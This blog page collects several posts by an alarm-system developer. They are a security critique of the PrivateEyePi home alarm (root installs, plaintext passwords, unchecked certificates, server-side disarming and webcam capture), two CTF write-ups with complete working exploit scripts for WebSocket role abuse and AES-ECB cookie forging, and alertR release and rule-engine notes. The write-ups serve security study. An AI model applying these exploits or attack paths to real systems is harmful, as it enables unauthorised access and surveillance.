Skip to content

Security Issues in PrivateEyePi Home Alarm System: Why I would not use it!

Introduction

PrivateEyePi is a home automation and monitoring project for the RaspberryPi. I saw some articles about PrivateEyePi and saw that they even have their own store on their website. Since I am the author of alertR (another open-source alarm system), I thought I take a closer look at what they are doing. Before I started with alertR, I looked briefly at some open-source projects to see if some project is doing what I wanted to do. In most cases it was sufficient to only look at the website of the project. PrivateEyePi was quickly dismissed by me because they only work with one host. Hence, I never took a closer look into it. And I know that it looks a little bit pitiful that I am writing an article about "how insecure this project is". But after taking a closer look, I have to say that from a security perspective I strongly discourage anybody to use it. And the following will explain why ...


Installation

Let us start at the beginning. And in the beginning was ... the installation. As far as I can tell I analyzed version v12 of the PrivateEyePi software. For all versions, the project explains in a small tutorial how to install PrivateEyePi. They describe that you should download the install.sh file and execute it via sudo sh install.sh. The install.sh file looks like the following:


sudo rm -f pep.zip
sudo mkdir -p pep_backup
sudo mv alarm.py pep_backup 2>/dev/null
sudo mv restarter.py pep_backup 2>/dev/null
sudo mv alarmfunctionsr.py pep_backup 2>/dev/null
sudo mv dht22.py pep_backup 2>/dev/null
sudo mv dallas.py pep_backup 2>/dev/null
sudo mv rfsensor.py pep_backup 2>/dev/null
sudo mv globals.py pep_backup 2>/dev/null
sudo mv webcam.py pep_backup 2>/dev/null

sudo mv lcd_hd44780.py pep_backup 2>/dev/null
sudo mv lcd_nokia.py pep_backup 2>/dev/null
sudo mv lcdtest.py pep_backup 2>/dev/null
sudo mv publish.py pep_backup 2>/dev/null
sudo mv subscribe.py pep_backup 2>/dev/null

sudo wget www.privateeyepi.com/downloads/pep.zip
unzip -o pep.zip
sudo chmod 777 alarm.py
sudo chmod 777 dallas.py
sudo chmod 777 globals.py
sudo chmod 777 alarmfunctionsr.py
sudo chmod 777 dht22.py
sudo chmod 777 restarter.py
sudo chmod 777 pep_backup
sudo chmod 777 webcam.py

sudo chmod 777 lcd_hd44780.py
sudo chmod 777 lcd_nokia.py
sudo chmod 777 lcdtest.py
sudo chmod 777 publish.py
sudo chmod 777 subscribe.py

sudo apt-get install python-serial
 


Perhaps some of you saw my little Twitter rant (actually, I do not think so but everyone can hope, right? ;-) ). First of all the install.sh file is already executed with sudo. Therefore all the additional sudos are unnecessarily. Second, you should not execute wget or unzip with root permissions. You never know what nasty bug could be triggered. But what you certainly do not do is change the file permissions for a file owned by root (or in this matter for any other user) to 777 (world-read-exec-write)! To make this bug complete, in the next steps of the tutorial the alarm system is started via the command sudo python alarm.py, which means it is also run with root permissions.

Perhaps some of you ask now "Why shouldn't I have a file world-read-exec-writable? And why not as root?". Well, some other user on the same system can write into the file (it is writable by everyone, so it can be any user). And when the application is now executed with root permissions, this user can execute code with root privileges.

Well, this was the installation process. Let us switch to the next step in the installation tutorial, the registration at the central server of PrivateEyePi.


Central Server Webinterface

You have to register an account on the central server of PrivateEyePi in order to use your alarm system at home. Wait, what?! Yes, PrivateEyePi uses a central server which is owned by them to give user access to their home alarm system. Sounds suspicious you think? Well, we will come back to this later.

We go not into depth here, since I am not the owner of this server and probably have no permission to test the webinterface. But again, perhaps you saw my little rant on Twitter again :-) .






You can see that when I want to change my user account information, I can see my used password in the source code of the page. What does this mean? First of all this means that the password is stored in plaintext. This means anyone of the PrivateEyePi guys can read your password (or any attacker that compromised the server). If you have used your default password and your default eMail address that you use everywhere: Sucks to be you :-P ! Second, even if you have a magical reason to store the password in plaintext (there is none!), you certainly do not send it back to a web page. For example, if you are logged in to the webinterface and someone else uses your browser, this someone can see your password.

This is all I can say about the webinterface. But seeing the quality of the code so far I am pretty sure that you will find other security issues there like SQLi (which would probably allow you to get user informations like eMail addresses and passwords ... in plaintext).

What is next in the installation tutorial? The configuration of the alarm system.


Configuring the Alarm System

Now we come back to the central server part. The alarm system is mainly configured via the webinterface on the central PrivateEyePi server. Stuff like eMail addresses the alarms should be sent to, GPIOs of the sensors etc. are configured via the central server. The stuff that is configured locally can be found in the globals.py. This is rather uninteresting stuff like user credentials for the central PrivateEyePi server, or if the temperature is shown in Fahrenheit, SMTP server settings, or the GPIO for a connected siren (I do not know why this is actually configured locally when the sensors are configured on the central server).

The architecture of the system can be seen in the following figure:



As can be seen, all sensors and other hardware is connected to the RaspberryPi. The home alarm system collects the data and sends it to the central server. Additionally, the home alarm system polls the server for commands it should execute. The webinterface of the central server can be used by the user to see the information the sensors collect and give commands like turning off the alarm system (hopefully, some of you already see how problematic this design is ... if not, I will come to it in a few seconds).

I think this design was chosen to circumvent the need to configure port forwarding on the local router. This way, a user is able to reach his home alarm system from his mobile phone without changing any Internet settings at home or setting up a service that is reachable from the Internet. But this design is quite problematic and also naive. Why naive? Well, imagine you have a home alarm system. Would you tell a stranger that nobody is at your home? And while we are on it, would you also give this stranger the key to disarm your home alarm system? No? Well, me neither. But if you use PrivateEyePi you do.

Let me explain why before I show concrete attack scenarios. PrivateEyePi sends the collected sensor data to the central server. If you have motion detection sensors and sensors at your windows and doors, their states are send to the central server and stored there. Not only you, but also the PrivateEyePi guys and an attacker that compromised their server are able to see this information. Therefore, they know when no one is at your home. Since the central server is able to send commands to your alarm system, the PrivateEyePi guys and an attacker is also able to do it. Hence, these strangers are able to disarm your alarm system.

Now let us take a look at concrete attack scenarios.


We are secure. We used encryption!

First we take a look at the connection between the home alarm system and the central server. These connections can be found in the alarmfunctionsr.py and webcam.py file. Both are done in the same way. A https URL is visited with GET parameters that either update the data on the central server or request data. This URL also contains the username and password of your user account. Well, since they are using an encrypted connection to their central server, everything is fine and we can go to the next section? Not exactly. Yes, they are setting up an encrypted connection. But they are using urllib2 for it. And urllib2 does not validate the certificate offered by the server by default. This option has to be manually set. And yes, there is a proposal to activate this check by default. But I do not know if it is already implemented. I checked it with Python 2.7.6 and it does not verify the certificate. Hence, when an attacker is able to hijack the connection he can just offer any certificate and the home alarm system will accept it. Therefore, an attacker does not necessarily have to compromise the central server, he just needs to hijack the connection (although I guess the first option might be easier).


I spy with my little eye ... uff, why am I suddenly blind?

The home alarm system gets its sensor configuration from the central server. Therefore, the central server can just send an empty or false configuration to the home alarm system. And suddenly ... the home alarm system is blind. This way an attacker is able to disable the alarm system completely or just remove specific sensors (to be a little bit sneakier).

Why does this work? Well, in the file alarm.py the main() function enters an infinity loop which polls the GPIO states of the sensors. And this infinity loop polls also the current configuration from the central server and applies it locally any 600 seconds.


Look mum no hands!

One interesting command is the /PHOTO command. This attack only works if a webcam is connected to the home alarm system and the SMTP server is configured to send eMails. Well, what does it do? The command tells the home alarm system to send an eMail to the configured eMail addresses with a picture taken by the webcam. The fun part is, the eMail addresses this message is sent to are also configured via the central server. Before the home alarm system sends this message, it asks the central server for the eMail addresses. Therefore, the attacker can just send his eMail address to the home alarm system and gets a picture taken by the webcam. No one else is getting this message. So it is kind of sneaky ;-) .

If you want to see it for yourself, you can find it in the alarmfunctionsr.py file. ProcessActions() is called when a message is received from the central server. This calls SendEmailAlertFromRule() with all the necessary arguments to take a picture. A thread is started that executes SendEmailAlertThread(). This function gets the eMail addresses from the central server with GetDataFromHost() and the used arguments. Then it builds the message and sends it to the received eMail addresses.


Inoutput. What?!

This is a really cool attack, because it can actually damage the hardware. The command /RELAYON is responsible for it. With this command, a GPIO pin number and the option HIGH or LOW is also received. What does it do? Well, it sets the given GPIO pin number as output pin and sets it to either HIGH or LOW. In the case of RaspberryPi, HIGH means it sets up 3.3V. This can be used for two attacks. First, we can trigger a sensor that is configured on our home alarm system. This can be done by setting the GPIO pin to a HIGH state that is also used as an input GPIO pin of a sensor. Second, if the sensor (or other hardware) that is connected to a GPIO pin that is set to a HIGH output is not built well, it can be damaged (I asked an electronics guy because I was not sure, and he told me it can happen). Not so often that we see a software attack that can actually damage hardware :-) .

Again, this can be found in the alarmfunctionsr.py file. ProcessActions() is called when a message is received from the central server. This calls SwitchRelay() which sets the GPIO pin to an output port and to HIGH/LOW.


Miscellaneous Stuff

I am not a professional programmer. Therefore, I do not like to say stuff like "Uh, look at this shady code!". But there are some constructs in the PrivateEyePi code I wanted to show. Let us just look at the function ProcessActions():


def ProcessActions(ActionList):
    FalseInd=True
    for x in ActionList:
        if x[0]=="/EMAIL":
                SendEmailAlertFromRule(x[1], x[2],0)
                x.remove
        if x[0]=="/SEMAIL":
                SendEmailAlert(x[1])
                x.remove
        if x[0]=="/CHIME":
                StartChimeThread()
                x.remove
        if x[0]=="/rn588":
                exit()
        if x[0]=="/FALSE":
                FalseInd=False
        if x[0]=="/SIREN":
                StartSirenThread(x[2])
                FalseInd=3
                x.remove
        if x[0]=="/PHOTO":
                SendEmailAlertFromRule(x[1], x[2],1)
                x.remove
        if x[0]=="/RELAYON":
                SwitchRelay(1,x[2])
                x.remove
        if x[0]=="/RELAYOFF":
                SwitchRelay(0,x[2])
                x.remove
        if x[0]=="/WRELAYON":
                SwitchRFRelay(1)
                x.remove
        if x[0]=="/WRELAYOFF":
                SwitchRFRelay(0)
                x.remove
    return(FalseInd)
 


The argument ActionList has the type list. Well, what does this function do? It iterates over the ActionList elements and checks if they contain a specific known command (more specifically, if the first element of this list contains a specific command). In the end, the function returns FalseInd.

Let us take a closer look at FalseInd. Do you see it? In the beginning this variable is set to True. If the command /FALSE is received, it is set to False. When the command /SIREN is received, it is set to 3. Dafuq?! I know that Python allows you to do this. But this does not mean that you should do it (like goto in C). If you use a variable as a boolean, stick to it and do not change it to an integer.

Also, each list element x should be removed from the ActionList (at least, I think this is what it should do). Hence, the line x.remove. Well, x is a list and has therefore the function remove(). But first of all, it is not invoked by the line x.remove. This just returns you the address of the function. And second, remove() takes an argument. Therefore, this line does actually nothing and does not make any sense.

Another thing you often see in the code is something like the following:


[...]
def PollGPIO():
# Routine to continuously poll the IO ports on the Raspberry Pi
        global ciruit
        global GPIOList
        global numgpio
        global GPIO
        global AlarmActioned
[...]

def NotifyHostEvent(z, status):
        global GPIOList
        global Locations
[...]

def PollRoutine():
        global start_time
        global elapsed_time
[...]
 


I do not know why they are using global variables for everything. Hell, even the whole configuration is done with global variables. And the file is called globals.py. And because of the import globals in the beginning of each file, this has strange effects on the syntax highlighting of an editor. Because globals() is a built-in function in Python, the editor highlights any use of the configuration variables like globals.LCDAlarmActivity. Definitely another thing you do not do when programming in Python.


Conclusion

This was a non-exhaustive list of security issues I found in PrivateEyePi. Note that I did non take a detailed dive into any file. Only the parts that work directly with data from the central server I looked into (and I did not really track the complete data-flow ... there could be a lot more to find). Well, as you have seen these are the reasons I would not recommend using PrivateEyePi. In my opinion, it is totally broken by design. The complete alarm system can be controlled by the PrivateEyePi guys and if the server is compromised, an attacker can so too. Additionally, the design allows an attacker to actually damage the connected hardware.


Update 06-01-18

The PrivateEyePi authors contacted me and said that they fixed a lot of issues in their current version. The following is a summary of changes they send me. However, I like to stress that this is only a list of things the authors send to me. I did not check the code if these changes were actually made:

- User password encryption in database and password are no longer passed from server to client.
- Devices and sensors connecting to PrivateEyePi server now use a token to authenticate, not email and password. The token cannot be use used to login to the website. The token is only displayed to the user once and never transmitted from the server to the web page after the initial creation.
- Alarm activation/deactivation can only be done through the website.
- Remote control for GPIO, RF devices and web cam photo function configured off by default through a new setting AllowExternalControl.
- Installation script does not use chmod 777 anymore and removed sudo where it is not necessary.
- Python 2.7.9. now validates certificates by default.
- Cleaned up use of FalseInd Boolean variable to store status beyond True/False.
- Cleaned up remove function from ActionList.

RuCTFe 2015: Ministry of Love (mol) write-up

This years RuCTFe 2015 consists of many cool challenges. One of these was the "Ministry of Love" (mol) challenge.

It was a python services that ... I do not know what it does. But it does not matter. You use this service via a web interface. Once you visit the site, a Websocket is opened to the server. Then you register/login there and you have a stateful connection (no cookies or what so ever). When you surf around the webinterface, you notice that sometimes "crimes" are reported. Some of these crimes are marked as private and you can not look them up. These are the interesting ones. The description field of these crimes contain the flag.

So, how can we reach them? Well, first you have to register an account to use the web interface. The function that does this is obviously named "register()". When you go through this function you will see this line:



user['role'] = len(user['username']) < 3
 


And yes. This does exactly what it looks like. The role of the user is set to some kind of admin role if the length is lower than 3. So, let us exploit it. A simple exploit script that uses the websocket-client of python looks like this:



#!/usr/bin/python

import websocket
import os
import sys
import json
import re


usernames = ["fx", "ab", "cd", "bf"]
password = "sdfsdfsfdasfdaklsdajklfhjk"
_DEBUG = True


def create_connection():

        for i in range(len(usernames)):

                host = sys.argv[1]
                team_id = host.split(".")[2]

                connection = websocket.create_connection(
                        "ws://mol.team" + team_id + ".e.ructf.org:80/websocket")

                register_msg = json.dumps({"action": "register",
                        "params": {
                        "username": usernames[i],
                        "password": password
                        }})

                connection.send(register_msg)

                response = json.loads(connection.recv())


                auth_msg = json.dumps({"action": "auth",
                        "params": {
                        "username": usernames[i],
                        "password": password
                        }})
                connection.send(auth_msg)

                response = json.loads(connection.recv())


                if response["type"] == "default alert alert-success":
                        return connection
                else:
                        continue

        return None

if _DEBUG: print "Connect to server"
connection = create_connection()
if connection is None:
        print "Could not login to service"
        sys.exit(1)

if _DEBUG: print "Connecting successful"

# ignore first response
response = json.loads(connection.recv())

# get private crimes
crimes_msg = json.dumps({"action": "show_crimes",
        "params": {
        "offset": 0
        }})
connection.send(crimes_msg)
response = json.loads(connection.recv())
private_crime_ids = list()
for row in response["rows"]:
        if "data" in row.keys():
                for data_set in row["data"]:

                        if data_set["public"] != "":
                                private_crime_ids.append(data_set["crimeid"])

if len(private_crime_ids) == 0:
        print "No private crime ids"
        sys.exit(1)

for private_crime_id in private_crime_ids:

        if _DEBUG: print "Get crime id " + str(private_crime_id)

        crime_msg = json.dumps({"action": "show_crime",
                "params": {
                "crimeid": private_crime_id
                }})
        connection.send(crime_msg)
        response = json.loads(connection.recv())

        if ("type" in response.keys() and
                response["type"] == "default alert alert-danger"):
                if _DEBUG: print "Not able to get private crime"
                continue

        if not "rows" in response.keys():
                if _DEBUG:
                        print "No rows"
                        print response
                continue

        for row in response["rows"]:
                if "data" in row.keys():
                        r = re.search("\w{31}=", row["data"]["description"])
                        if r:
                                print r.group(0)
 


And that's all. I am certain that there are more vulnerabilities in this service but because this time our team did not have so many players, I went on to the next service and never came back :-(

alertR: Version 0.300 Released

alertR is a project of mine which I started in August 2014. It is an unified alerting system which is based on a client/server model. The main part is written in Python and is published as Free-Software. If you do not know this project yet, here are some interesting links:

* Github repository
* Github wiki for documentations
* Blog article: Introducing alertR: Open-Source alerting system (with video)
* Blog article: alertR: dbus and xbmc notification client (with video)
* Blog article: alertR: rule engine (with video)


What is new?

The alerting system can now distinguish between "triggered" and "normal" state sensor alerts. A "triggered" sensor alert happens, when the triggered state of the sensor is reached (for example a door is opened). The "normal" sensor alert happens (if configured to be considered), when the sensor goes back to the normal state (for example if the opened door is closed again).

The Mobile Manager was split into "alertR Web Mobile Manager" and "alertR Manger Client Database". The idea of the database manager is that it can be used to provide the data of the alerting system to other "not alertR" components. The database is the shared medium that have to be read by the components (for example a web page or an IRC bot) to get the information. In order to have a way for the components to communicate with the alerting system, the database manager has a local UNIX socket server. Additionally, the database manager is now able to store events in the database as an event log. Furthermore, the database manager can check the versions of all alertR clients against the available versions in the online repository.

Last but not least, an alertR survey was added to the alertR server. The server can now participate in this survey and will send information about the used versions, instances, and if the online update is activated or not once a week to the survey server. The participation in this survey is optional and can be completely disabled in the configuration file of the server. The survey was added to the alertR system, because of the install and update mechanism that uses the Github repository. The way these mechanisms work, no data can be derived of the used instances or whether alertR is used after all.


Mobile Web Page

The mobile web page was completely rewritten for the new version. It is now able to show all information about the alerting system that is available. Also, because the alertR Manger Client Database can store an event log of events happening in the alert system, the mobile web page can display you an event log. The following shows a screenshot of the overview site of the mobile web page:

ictf 2014/2015 securenotebook write up

The securenotebook challenge was a 64 bit ELF binary which also consists of a zip archive. The symbols of the ELF file contained a lot of Python stuff, but we did not look deeper into it. After unpacking the zip archive, we were supplied by a lot of .pyc files. The obvious point to start was the __main__.pyc file. In order to get the python source, we used uncompyle2 from the pip repository.

The program first defines some global variables which can be seen in the following:



sys.stdout = NullDevice()
sys.stderr = NullDevice()
FORMAT = '%(asctime)-15s %(message)s'
logging.basicConfig(filename='server.log', format=FORMAT, level=logging.DEBUG)
logger = logging.getLogger('server')
logging.disable(logging.CRITICAL)
lock = Lock()
allowed_commands = set(['ls', 'cat secret.txt', 'cat server.py'])
aes_key = os.urandom(32)
secret = os.urandom(200)
root = 'rootadministrator'
manager = Manager()
db = manager.dict()
 



The first that can be noticed is that we can forget to guess the "aes_key" and "secret" in a short period of time. Let us go to the main function:



def main():
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_address = ('0.0.0.0', int(sys.argv[1]))
    sock.bind(server_address)
    sock.listen(1)
    processes = []
    lasttime = datetime.datetime.now()
    try:
        while True:
            now = datetime.datetime.now()
            d = now - lasttime
            if d > datetime.timedelta(seconds=20):
                lasttime = now
                tobe_removed = []
                for i in range(len(processes)):
                    if now - processes[i][1] > datetime.timedelta(seconds=20):
                        try:
                            processes[i][0].terminate()
                        except Exception as e:
                            pass
                        tobe_removed.append(i)
                    else:
                        break

                for i in sorted(tobe_removed, reverse=True):
                    del processes[i]

            print >> sys.stderr, 'waiting for a connection'
            (connection, client_address,) = sock.accept()
            process = multiprocessing.Process(target=handle, args=(connection,
             client_address,
             db,
             lock))
            process.daemon = True
            process.start()
            processes.append((process, datetime.datetime.now(), connection))

    except Exception as e:
        print e
 



As we can see, the function handle is called when an incoming connection is detected. Let us go to the handle function:



def handle(connection, address, db, lock):
    try:
        connection.send('user|pass:')
        data = connection.recv(1024)
        print data,
        print 'read'
        user = authenticate(data, db, lock)
        if len(user) == 0:
            raise Exception('Not authenticated')
        print 'user %s authenticated' % user
        print 'creating token for user',
        print user
        tok = create_token(user)
        print 'token=',
        print tok
        connection.send(tok)
        while True:
            connection.send('\ncookie,command:')
            data = ''
            tries = 0
            while len(data) == 0:
                data = connection.recv(1024)
                tries += 1
                if tries > 20:
                    connection.close()
                    return

            print 'data=',
            print data
            out = parse_command(data)
            connection.send(out)

    except Exception as e:
        print e
        connection.close()
 



We can see that first the authentication is required and after the authentication is done, a token is generated and sent back to the user. After that every input is given to the parse_command function. First let us start with the authenticate function:



def authenticate(s, db, lock):
    lock.acquire()
    try:
        fields = s.split('|')
        if len(fields) < 2:
            raise Exception('Invalid format')
            return ''
        user = fields[0]
        user = user.strip()
        passwd = fields[1]
        passwd = passwd.strip()
        print user,
        print passwd
        if not (safe_string(user) and safe_string(passwd)):
            raise Exception('Unsafe')
            return ''
        if user == root:
            if passwd == secret:
                print user,
                print 'authenticated'
                return user
            else:
                raise Exception('Unauthorized')
                return ''
        else:
            if user in db and db[user] == passwd:
                print user,
                print 'authenticated'
                return user
            else:
                if user not in db:
                    print user,
                    print 'authenticated'
                    db[user] = passwd
                    return user
                return ''
    except:
        raise
    finally:
        lock.release()
 



The given data is split by a "|" into user and passwd. Both values are stripped. After that both values are checked if they are safe (the function checks if the values are alphanumeric). If the user is root and the passwd is the secret from the global variables (which we can not guess nor send to the server as input because of the safe_string function), then the user is authenticated as root. Else-wise, the user is authenticated using the db or created if it does not exist yet. Nothing special in this function. So let us move on. We skip the token generation and first look into the parse_command function:



def parse_command(msg):
    try:
        fs = msg.split(',')
        b64_c = fs[0]
        command = fs[1]
        command = command.strip()
        print 'command=',
        print command
        print 'fields=',
        print fs
        c = base64.b64decode(b64_c)
        aes = Crypto.Cipher.AES.new(aes_key, Crypto.Cipher.AES.MODE_ECB)
        m = aes.decrypt(c)
        print 'm=',
        print m
        fields = m.split('|')
        year = int(fields[0])
        month = int(fields[1])
        day = int(fields[2])
        hour = int(fields[3])
        minute = int(fields[4])
        user = fields[5]
        user = user.strip()
        print 'mfields=',
        print fields
        ts = datetime.datetime(year, month, day, hour, minute)
        t = datetime.datetime.now()
        d = t - ts
        if d > datetime.timedelta(seconds=60):
            print 'expired'
            raise Exception('Expired')
            return ''
        else:
            if command == 'ls':
                print 'ls'
                try:
                    pipe = os.popen('ls')
                    out = pipe.read()
                    pipe.close()
                except Exception as e:
                    out = ''
                return out
            if command == 'cat server.py':
                print 'read src'
                try:
                    pipe = os.popen('cat server.py')
                    out = pipe.read()
                    pipe.close()
                except Exception as e:
                    out = ''
                    raise
                return out
            if command == 'retv secret':
                print 'retv'
                if user == root:
                    try:
                        pipe = os.popen('cat secret.txt')
                        out = pipe.read()
                        pipe.close()
                    except Exception as e:
                        out = ''
                        raise
                    return out
                else:
                    try:
                        try:
                            users_vault = 'secret_of_%s.txt' % user
                            pipe = os.popen('cat "%s"' % users_vault)
                            out = pipe.read()
                            pipe.close()
                            print 'out =',
                            print out
                        except Exception as e:
                            out = ''
                            raise
                    except:
                        out = ''
                    return out
            elif command.startswith('write '):
                print 'write'
                to_write = command[len('write '):]
                if user == root:
                    try:
                        f = open('secret.txt', 'wt')
                        f.write(to_write)
                        f.close()
                    except:
                        print 'failed'
                        raise
                else:
                    try:
                        users_vault = 'secret_of_%s.txt' % user
                        f = open(users_vault, 'wt')
                        f.write(to_write)
                        f.close()
                    except:
                        print 'failed'
                        raise
            return ''
    except Exception as e:
        print e,
        print 'msg=',
        print msg
        raise
        return ''
 



Ok, first the function splits the data into cookie and command. The cookie is the token that is created by the server. The cookie is base64 decoded and decrypted by AES in ECB mode. An alarm bell should start in your head at this point. ECB mode looks always fishy. But let us go on. The date is extracted from the cookie and the user name. This is nice. This means we are recognized by the cookie. Therefore we can login by someone we know and could exchange our cookie to steal a session. But let us move on. The commands that can be used are "ls", "cat server.py", "retv secret" and "write". I skip the unimportant commands and only describe the "retv secret". This command outputs the file "secret_of_USERNAME.txt". In this file the flag is written by the gaming server. First, "retv secret" and "write" looked a little bit like a command injection, but because of the safe_string method we can not inject anything. But perhaps via the user value of the cookie (if we can manipulate it). Let us move on to the token generation:



def create_token(user):
    try:
        print 'creating the token'
        t = datetime.datetime.now()
        plain_token = '%d|%d|%d|%d|%d|%s|CHALLENGE' % (t.year,
         t.month,
         t.day,
         t.hour,
         t.minute,
         user)
        l1 = len('%d|%d|%d|%d|%d|' % (t.year,
         t.month,
         t.day,
         t.hour,
         t.minute))
        padded_plain_token = ' ' * (16 - l1 % 16) + plain_token
        l = len(padded_plain_token)
        padded_plain_token = padded_plain_token + ' ' * (16 - l % 16)
        aes = Crypto.Cipher.AES.new(aes_key, Crypto.Cipher.AES.MODE_ECB)
        enc_token = aes.encrypt(padded_plain_token)
        b64_token = base64.b64encode(enc_token)
        return b64_token
    except Exception as e:
        logger.error('%s' % str(e))
        raise
 



The token consists of the year, month, day, hour, minute, user and "CHALLENGE" separated by a "|". Then these values are padded in the front and at the back and AES encrypted via ECB mode. The result is base64 encoded and used as cookie by the server. The padding and ECB mode is interesting. The padding at the front only regards the year, month, hour and minute. This means that our user name always starts at the beginning of an AES block. Remember that AES always encrypts blocks of 16 bytes. This means the padding at the back of the string only regards our user name + "|CHALLENGE". So let us take a look at the user names the server uses.

A user name that is used by the gaming server looks like this "zY3RZIQ1pVIhC2D59ySX". It is always 21 characters long and we can not guess it. But we get it by the exploiting service of the gaming server. So we know the user name, but we do not know the password. So what can we do?

Because of AES with ECB and the padding we can use the service as an encrypting oracle. AES encrypts blocks of 16 bytes. This means we can first send the first 16 characters of the 21 characters user name. This will result in a cookie which contains an encrypted block that only consists of the first 16 characters of our user name. But what about the last 5 characters? We can do the same with them. When we use the last 5 characters as user name, they get extended with a "|CHALLENGE". Because the parse_command function splits the cookie using the "|" character, we do not care about the extension and the padding of the block.

Long story short, we can split the user name given by the gaming server into a 16 characters and 5 characters string. For each we register at the service and get a cookie send back. Then we extract the encrypted block of the cookie that contains our string. Now we concat the encrypted block of the 16 characters and the encrypted block of the 5 characters and use it as user value in the cookie. By doing so, the service thinks we are the same user the gaming server used for the flag. Then, when we enter the "retv secret" command, we get the flag.

The working exploit looks like this (CTF coding style):



#!/usr/bin/env python

import math
from socket import *
from time import time
from time import sleep
import sys
import re
import base64

BUFSIZE = 4098

class Client:
    def __init__(s,host,port):
        s.__HOST = host
        s.__PORT = port
        s.__ADDR = (s.__HOST,s.__PORT)
        s.__sock = None
 
    def makeConnection(s):
#       for TCP connection
        s.__sock = socket( AF_INET,SOCK_STREAM)
#       for UDP connection
#       s.__sock = socket( AF_INET,SOCK_DGRAM)
        s.__sock.connect(s.__ADDR)
 
    def sendCmd(s, cmd):
#       print cmd
        s.__sock.send(cmd)
 
    def getResults(s):
        return s.__sock.recv(BUFSIZE)

    def close(s):
        s.__sock.close()


class Exploit():


    def execute(self, ip, port, flag_id):

        # the user name the gaming server used
        testuser = flag_id

        firstPart = testuser[:16]
        secondPart = testuser[16:]


        # get first part
        conn = Client(ip, port)
        conn.makeConnection()
        blah = conn.getResults()
        #print blah

        password = "randomPasswd"

        #print firstPart

        conn.sendCmd("%s|%s" % (firstPart,password))

        cookie = conn.getResults()
        print cookie
        firstDecoded = cookie.decode("base64")

        if len(firstDecoded) == 64:
            # minutes have length of 2
            # => padding is 16 characters long (a whole block)

            firstBlock = firstDecoded[:48]

        else:
            # minutes have length of 1
            # => only first block is padded

            firstBlock = firstDecoded[:32]

        conn.close()


        # get second part
        conn = Client(ip, port)
        conn.makeConnection()
        blah = conn.getResults()
        #print blah

        password = "randomPasswd"
        conn.sendCmd("%s|%s" % (secondPart,password))
        cookie = conn.getResults()
        secondDecoded = cookie.decode("base64")

        #print len(secondDecoded)


        if len(secondDecoded) == 48:
            # minutes have length of 2
            # => padding is 16 characters long (a whole block)

            secondBlock = secondDecoded[32:48]

        elif len(secondDecoded) == 32:
            # minutes have length of 1
            # => only first block is padded

            secondBlock = secondDecoded[16:32]

        else:

            # should not happen

            print "fuuu"
            sys.exit(0)

        blah =  len(secondBlock)

        finalBlock = firstBlock + secondBlock
        finalEncoded = finalBlock.encode("base64")
        conn.close()


        # get flag
        conn = Client(ip, port)
        conn.makeConnection()
        blah =  conn.getResults()
        #print blah

        conn.sendCmd("%s|%s" % ("fluxisthebest","begoodbeawesome"))

        cookie = conn.getResults()
        #print cookie
        blah =  conn.getResults()
        #print blah

        conn.sendCmd("%s,%s" % (finalEncoded,"retv secret"))

        self.flag = conn.getResults()


    def result(self):
        return {'FLAG': self.flag}



'''
# use to test exploit
test = Exploit()
test.execute("10.7.71.2", 2190, "w5djPvuYEM9CQN5r5xkM")
print test.result()
'''

 



In order to fix this we just replaced the ECB mode with the CBC mode and added a random IV. Then we created a pyc file and replaced the __main__.pyc in the archive with our patched one.

alertR: rule engine

Foreword and interesting links

alertR is a project of mine which I started in August 2014. It is an unified alerting system which is based on a client/server model. The main part is written in Python and is published as Free-Software. If you do not know this project yet, here are some interesting links:

* Github repository
* Github wiki for documentations
* Blog article: Introducing alertR: Open-Source alerting system (with video)
* Blog article: alertR: dbus and xbmc notification client (with video)


Introduction and motivation

Since I implemented alertR inside my home, I still had motion sensors connected to a Raspberry Pi which were not managed by alertR. The reason of this was that first one of the two motion sensors had to trigger and then in a time frame of 5 seconds the next one has to trigger before an event should happen.

Because of this I started to implement a "rule engine" for alertR over the Christmas time. And finally it is finished.


Example

Before I tell you the details about the rule engine, I want to show you that the rule engine works via a short video. Please have the subtitles activated to get a description of what I am doing and what is happening.




How does it work?

As you could see/read in the video I used the two motion sensors to start the media center in my living room and to let it play a specific radio channel. This should only happen during the week (not on a weekend) and only at the time when I have to stand up to go to work. The media center has speakers in the living room, kitchen and bathroom. So I can hear the music inside my apartment while I prepare my self to leave for work.

Now with the rule engine alertR can manage this setting too. The rule engine is able to chain rules together so you can have a sequence of rules which have to be fulfilled in a specific order and in a specific time frame. One rule can consist of different rule elements that are bound together by a boolean operator.

Note at this point that this rule engine is event driven. This means that it is only checked if a sensor event is sent to the server (this also means that a rule must have at least one sensor in it). It does not work if you have a rule configured which just checks the time (if you want something like this, use cron as a sensor) or if you only have one sensor in this rule which state is negated by a NOT.

Here is a list of the elements that are supported (at the time of writing this) by the rule engine:

* sensor - this rule element represents a sensor of the alertR system and is evaluated if a sensor trigger event is sent to the server
* boolean - this is a boolean operator to form a complex rule with the given rule elements (supported operators are: AND, OR and NOT)
* weekday - this element represents the day of the week (Monday - Sunday)
* monthday - this element represents the day of the month (1-31)
* hour - this element represents the hour time frame in which this element is set to triggered
* minute - this element represents the minute time frame in which this element is set to triggered
* second - this element represents the second time frame in which this element is set to triggered

With this rule elements you can form complex rules with your sensors. For example you can combine the boolean element AND with hour, minute and sensor to only trigger this rule when a specific sensor triggers in a specific time window.

A practical example would be a sensor at your door and a motion sensor outside the door. Every time you come home the motion sensor is triggered first and then the door sensor (since you have to walk to the door before you can open it). When this rule triggers, you can for example start the media center with the music you like.

Additionally, the rules can have a counter if you want a specific rule only trigger once every 24 hours or something like that. This is also used by me with the two motion sensors to start the media center in the living room. I only want to trigger it once a day since I only stand up and go to work once a day ;-)


Final words

The rule engine is a powerful tool when you use sensors in your home. With it you can perform complex checks before an actual event should trigger. At the moment I only use it for the described scenario above. But I think it will also have a lot of other fields where it can be handy.